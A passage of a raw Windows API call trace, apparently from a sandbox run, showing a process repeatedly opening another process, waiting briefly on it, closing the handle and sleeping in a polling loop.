0x268 [0234.367] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.382] CloseHandle (hObject=0x268) returned 1 [0234.383] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.383] Sleep (dwMilliseconds=0x1) [0234.398] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.398] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.414] CloseHandle (hObject=0x268) returned 1 [0234.414] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.414] Sleep (dwMilliseconds=0x1) [0234.429] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.429] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.445] CloseHandle (hObject=0x268) returned 1 [0234.445] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.445] Sleep (dwMilliseconds=0x1) [0234.461] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.461] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.476] CloseHandle (hObject=0x268) returned 1 [0234.476] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.476] Sleep (dwMilliseconds=0x1) [0234.492] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.492] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.508] CloseHandle (hObject=0x268) returned 1 [0234.508] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.508] Sleep (dwMilliseconds=0x1) [0234.523] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.523] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.539] CloseHandle (hObject=0x268) returned 1 [0234.539] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.539] Sleep (dwMilliseconds=0x1) [0234.555] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.555] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.570] CloseHandle (hObject=0x268) returned 1 [0234.570] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.570] Sleep (dwMilliseconds=0x1) [0234.586] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.586] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.601] CloseHandle (hObject=0x268) returned 1 [0234.601] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.601] Sleep (dwMilliseconds=0x1) [0234.617] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.617] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.633] CloseHandle (hObject=0x268) returned 1 [0234.633] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.633] Sleep (dwMilliseconds=0x1) [0234.648] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.648] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.664] CloseHandle (hObject=0x268) returned 1 [0234.664] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.664] Sleep (dwMilliseconds=0x1) [0234.694] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.694] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.695] CloseHandle (hObject=0x268) returned 1 [0234.695] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.695] Sleep (dwMilliseconds=0x1) [0234.710] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.710] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.744] CloseHandle (hObject=0x268) returned 1 [0234.745] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.745] Sleep (dwMilliseconds=0x1) [0234.758] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.758] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.774] CloseHandle (hObject=0x268) returned 1 [0234.774] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.774] Sleep (dwMilliseconds=0x1) [0234.789] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.789] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.804] CloseHandle (hObject=0x268) returned 1 [0234.804] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.804] Sleep (dwMilliseconds=0x1) [0234.820] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.820] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.836] CloseHandle (hObject=0x268) returned 1 [0234.836] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.836] Sleep (dwMilliseconds=0x1) [0234.851] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.851] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.867] CloseHandle (hObject=0x268) returned 1 [0234.867] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.867] Sleep (dwMilliseconds=0x1) [0234.885] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.885] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.898] CloseHandle (hObject=0x268) returned 1 [0234.898] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.898] Sleep (dwMilliseconds=0x1) [0234.914] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.914] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.929] CloseHandle (hObject=0x268) returned 1 [0234.929] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.929] Sleep (dwMilliseconds=0x1) [0234.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.945] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.962] CloseHandle (hObject=0x268) returned 1 [0234.962] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.962] Sleep (dwMilliseconds=0x1) [0234.976] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0234.976] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0234.992] CloseHandle (hObject=0x268) returned 1 [0234.992] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0234.992] Sleep (dwMilliseconds=0x1) [0235.007] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0235.007] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0235.023] CloseHandle (hObject=0x268) returned 1 [0235.023] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.023] Sleep (dwMilliseconds=0x1) [0235.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0235.039] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0235.054] CloseHandle (hObject=0x268) returned 1 [0235.054] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.054] Sleep (dwMilliseconds=0x1) [0235.070] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0235.070] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0235.085] CloseHandle (hObject=0x268) returned 1 [0235.086] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.086] Sleep (dwMilliseconds=0x1) [0235.149] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x268 [0235.149] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0xa) returned 0x102 [0235.164] CloseHandle (hObject=0x268) returned 1 [0235.164] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.164] Sleep (dwMilliseconds=0x1) [0235.517] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.517] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.528] CloseHandle (hObject=0x274) returned 1 [0235.528] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.528] Sleep (dwMilliseconds=0x1) [0235.543] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.543] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.559] CloseHandle (hObject=0x274) returned 1 [0235.559] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.559] Sleep (dwMilliseconds=0x1) [0235.575] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.575] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.590] CloseHandle (hObject=0x274) returned 1 [0235.590] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.590] Sleep (dwMilliseconds=0x1) [0235.606] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.606] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.621] CloseHandle (hObject=0x274) returned 1 [0235.621] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.621] Sleep (dwMilliseconds=0x1) [0235.637] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.637] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.653] CloseHandle (hObject=0x274) returned 1 [0235.653] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.653] Sleep (dwMilliseconds=0x1) [0235.668] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x274 [0235.668] WaitForSingleObject (hHandle=0x274, dwMilliseconds=0xa) returned 0x102 [0235.685] CloseHandle (hObject=0x274) returned 1 [0235.685] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.685] Sleep (dwMilliseconds=0x1) [0235.699] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x280 [0235.699] WaitForSingleObject (hHandle=0x280, dwMilliseconds=0xa) returned 0x102 [0235.716] CloseHandle (hObject=0x280) returned 1 [0235.716] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.716] Sleep (dwMilliseconds=0x1) [0235.751] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.751] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.762] CloseHandle (hObject=0x284) returned 1 [0235.762] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.762] Sleep (dwMilliseconds=0x1) [0235.778] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.778] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.793] CloseHandle (hObject=0x284) returned 1 [0235.793] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.793] Sleep (dwMilliseconds=0x1) [0235.823] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.823] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.824] CloseHandle (hObject=0x284) returned 1 [0235.824] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.824] Sleep (dwMilliseconds=0x1) [0235.840] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.840] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.856] CloseHandle (hObject=0x284) returned 1 [0235.856] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.856] Sleep (dwMilliseconds=0x1) [0235.871] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.871] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.887] CloseHandle (hObject=0x284) returned 1 [0235.887] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.887] Sleep (dwMilliseconds=0x1) [0235.903] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.903] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.918] CloseHandle (hObject=0x284) returned 1 [0235.918] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.918] Sleep (dwMilliseconds=0x1) [0235.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.934] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.949] CloseHandle (hObject=0x284) returned 1 [0235.949] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.950] Sleep (dwMilliseconds=0x1) [0235.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.965] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0235.981] CloseHandle (hObject=0x284) returned 1 [0235.981] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0235.981] Sleep (dwMilliseconds=0x1) [0235.997] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0235.997] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.012] CloseHandle (hObject=0x284) returned 1 [0236.012] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.012] Sleep (dwMilliseconds=0x1) [0236.028] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.028] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.043] CloseHandle (hObject=0x284) returned 1 [0236.043] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.043] Sleep (dwMilliseconds=0x1) [0236.059] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.059] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.074] CloseHandle (hObject=0x284) returned 1 [0236.074] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.075] Sleep (dwMilliseconds=0x1) [0236.090] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.090] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.106] CloseHandle (hObject=0x284) returned 1 [0236.106] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.106] Sleep (dwMilliseconds=0x1) [0236.121] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.121] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.137] CloseHandle (hObject=0x284) returned 1 [0236.137] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.137] Sleep (dwMilliseconds=0x1) [0236.152] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.153] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.168] CloseHandle (hObject=0x284) returned 1 [0236.168] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.168] Sleep (dwMilliseconds=0x1) [0236.184] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.184] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.200] CloseHandle (hObject=0x284) returned 1 [0236.200] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.200] Sleep (dwMilliseconds=0x1) [0236.215] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.215] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.234] CloseHandle (hObject=0x284) returned 1 [0236.234] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.234] Sleep (dwMilliseconds=0x1) [0236.246] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.246] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.312] CloseHandle (hObject=0x284) returned 1 [0236.312] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.312] Sleep (dwMilliseconds=0x1) [0236.325] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0236.325] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0236.610] CloseHandle (hObject=0x284) returned 1 [0236.610] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.610] Sleep (dwMilliseconds=0x1) [0236.697] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x27c [0236.697] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0236.699] CloseHandle (hObject=0x27c) returned 1 [0236.699] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.699] Sleep (dwMilliseconds=0x1) [0236.715] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x27c [0236.715] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0236.731] CloseHandle (hObject=0x27c) returned 1 [0236.731] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0236.731] Sleep (dwMilliseconds=0x1) [0237.448] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x27c [0237.448] WaitForSingleObject (hHandle=0x27c, dwMilliseconds=0xa) returned 0x102 [0237.450] CloseHandle (hObject=0x27c) returned 1 [0237.450] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.450] Sleep (dwMilliseconds=0x1) [0237.465] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0237.465] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0237.481] CloseHandle (hObject=0x284) returned 1 [0237.481] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.481] Sleep (dwMilliseconds=0x1) [0237.496] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0237.496] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0237.512] CloseHandle (hObject=0x284) returned 1 [0237.512] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.512] Sleep (dwMilliseconds=0x1) [0237.534] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x284 [0237.534] WaitForSingleObject (hHandle=0x284, dwMilliseconds=0xa) returned 0x102 [0237.637] CloseHandle (hObject=0x284) returned 1 [0237.637] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.637] Sleep (dwMilliseconds=0x1) [0237.874] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x290 [0237.874] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xa) returned 0x102 [0237.887] CloseHandle (hObject=0x290) returned 1 [0237.887] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.887] Sleep (dwMilliseconds=0x1) [0237.902] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x290 [0237.902] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xa) returned 0x102 [0237.929] CloseHandle (hObject=0x290) returned 1 [0237.929] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.929] Sleep (dwMilliseconds=0x1) [0237.934] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x290 [0237.934] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xa) returned 0x102 [0237.949] CloseHandle (hObject=0x290) returned 1 [0237.949] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.949] Sleep (dwMilliseconds=0x1) [0237.965] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x290 [0237.965] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xa) returned 0x102 [0237.982] CloseHandle (hObject=0x290) returned 1 [0237.982] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0237.982] Sleep (dwMilliseconds=0x1) [0237.996] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0x2d0) returned 0x290 [0237.996] WaitForSingleObject (hHandle=0x290, dwMilliseconds=0xa) returned 0x102 [0238.980] CloseHandle (hObject=0x290) returned 1 [0238.981] PeekMessageW (in: lpMsg=0x362f800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x362f800) returned 0 [0238.981] Sleep 